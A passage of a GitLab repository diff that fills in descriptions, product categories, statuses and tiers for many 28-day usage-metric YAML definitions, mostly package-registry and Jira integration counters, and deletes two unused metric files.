- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml
index 6ba5297d60d..4bb6038634f 100644
--- a/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of container images published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
value_type: number
-status: data_available
+status: deprecated
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml
index 9fe96b21e7e..1bf0aa9697d 100644
--- a/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of Debian packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml
index 982d765b5fa..cc4754964dd 100644
--- a/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml
@@ -1,16 +1,19 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of generic packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: broken
+repair_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331455
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml
index b5001143b05..3b4f45e0737 100644
--- a/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of Go modules published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml
index 220fa24696b..eabb8cff15f 100644
--- a/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of Maven packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml
index ba98e8363a0..fc3b6db7af8 100644
--- a/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of npm packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml
index 2fe6251f959..6dfb7a6a201 100644
--- a/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of NuGet packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml
index db8b894abf7..9a73f02c128 100644
--- a/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml
@@ -1,16 +1,19 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of PyPI packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml
index b69c4aa13d5..6a9856418c4 100644
--- a/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of package tags published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml
index b17e2a671b3..9df4ad1d53e 100644
--- a/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml b/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml
index 821a30c475f..23cdfbb2be4 100644
--- a/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_composer_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a Composer package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml b/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml
index 34ca1cba1e8..44b005feead 100644
--- a/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_conan_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a Conan package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml b/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml
index dd916840cb1..3ff19ed318b 100644
--- a/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_container_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a container image to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
value_type: number
-status: data_available
+status: deprecated
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml b/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml
index d72c6db17bb..84993d1d227 100644
--- a/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_debian_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a Debian package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml b/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml
index af2d01d8320..8365d585d6a 100644
--- a/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml
@@ -1,16 +1,19 @@
---
key_path: redis_hll_counters.user_packages.i_package_generic_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a generic package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: broken
+repair_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331455
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml b/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml
index 031a6b51b04..8a8adf299a2 100644
--- a/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_golang_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a Go moduleto the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml b/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml
index 4a4649cd38a..8f404ea70d3 100644
--- a/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_maven_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a Maven package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml b/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml
index 12dd245e7be..2c81962800a 100644
--- a/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_npm_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published an npm package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml b/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml
index 6035e571393..9dcfb653994 100644
--- a/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_nuget_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a NuGet package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml b/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml
index eff9b749fb4..d975d7ed7ac 100644
--- a/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_pypi_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a PyPI package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml b/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml
index 15c078db1f9..5e953322470 100644
--- a/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml
+++ b/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.i_package_tag_user_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a package tag to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml
index c21e9bebd6c..f01aba36f32 100644
--- a/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.user_packages.user_packages_total_unique_counts_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of users that have published a package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml b/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml
index c5fa7e2dcf7..d5a96845a4d 100644
--- a/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml
+++ b/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of users closing Jira issues by month
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml b/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml
index f4469c41dd3..81b6bd694c8 100644
--- a/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml
+++ b/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of users that cross-referenced Jira issues by month
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml b/config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml
deleted file mode 100644
index dd114b37a99..00000000000
--- a/config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_list_issues_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml b/config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml
deleted file mode 100644
index 04f33c6f333..00000000000
--- a/config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_create_issue_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml
index 6c1d08964a9..edd25537070 100644
--- a/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.ecosystem.ecosystem_total_unique_counts_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of users performing actions on Jira issues by month
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml b/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml
index 3bd212d751c..38782ce6ce4 100644
--- a/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml
@@ -1,6 +1,6 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_monthly
-description: Distinct user count events for RubyGems packages in recent 28 days
+description: Distinct count events for RubyGems packages published using a Deploy token in recent 28 days
product_section: ops
product_stage: package
product_group: group::package
@@ -18,4 +18,3 @@ tier:
- free
- premium
- ultimate
-
diff --git a/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml b/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml
index 6f0ffabd23d..3c5f72e525e 100644
--- a/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml
+++ b/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml
@@ -1,6 +1,6 @@
---
key_path: redis_hll_counters.user_packages.i_package_rubygems_user_monthly
-description: Distinct user count events for RubyGems packages in recent 28 days
+description: Distinct user count of RubyGems packages published in recent 28 days
product_section: ops
product_stage: package
product_group: group::package
diff --git a/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml b/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml
index 0d0318a02c6..6699b789178 100644
--- a/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml
+++ b/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml
@@ -6,7 +6,7 @@ product_stage: secure
product_group: group::static analysis
product_category: dependency_scanning
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml b/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml
index 00d1249d0f9..7ce8873f4f6 100644
--- a/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml
+++ b/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml
@@ -6,7 +6,7 @@ product_stage: verify
product_group: group::testing
product_category: code_quality
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml b/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml
index 2b9136fde62..7669db19d21 100644
--- a/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml
+++ b/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml
@@ -6,7 +6,7 @@ product_stage: verify
product_group: group::testing
product_category: accessibility_testing
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml b/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml
index 00ddefe4901..5a9029b57c1 100644
--- a/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml
@@ -6,7 +6,7 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55018
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml b/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml
index 75accebea99..ab606fdd903 100644
--- a/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml
+++ b/config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml
@@ -6,7 +6,7 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: implemented
+status: data_available
milestone: '13.11'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55018
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml b/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml
index a6186d44698..e0d1fe6b1f3 100644
--- a/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml
+++ b/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml
@@ -6,7 +6,7 @@ product_stage: verify
product_group: group::testing
product_category: testing
value_type: number
-status: implemented
+status: data_available
milestone: "13.11"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59316
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml b/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml
index 2bcd2a448ec..a3d27ec7fd9 100644
--- a/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml
+++ b/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml b/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml
index 3b7c5be9b84..1bacc4d30dc 100644
--- a/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml
+++ b/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml b/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml
index 31fe497fe0e..b9c7d00b8b3 100644
--- a/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml
+++ b/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml b/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml
index 821f7244209..dc7f22008a7 100644
--- a/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml
+++ b/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
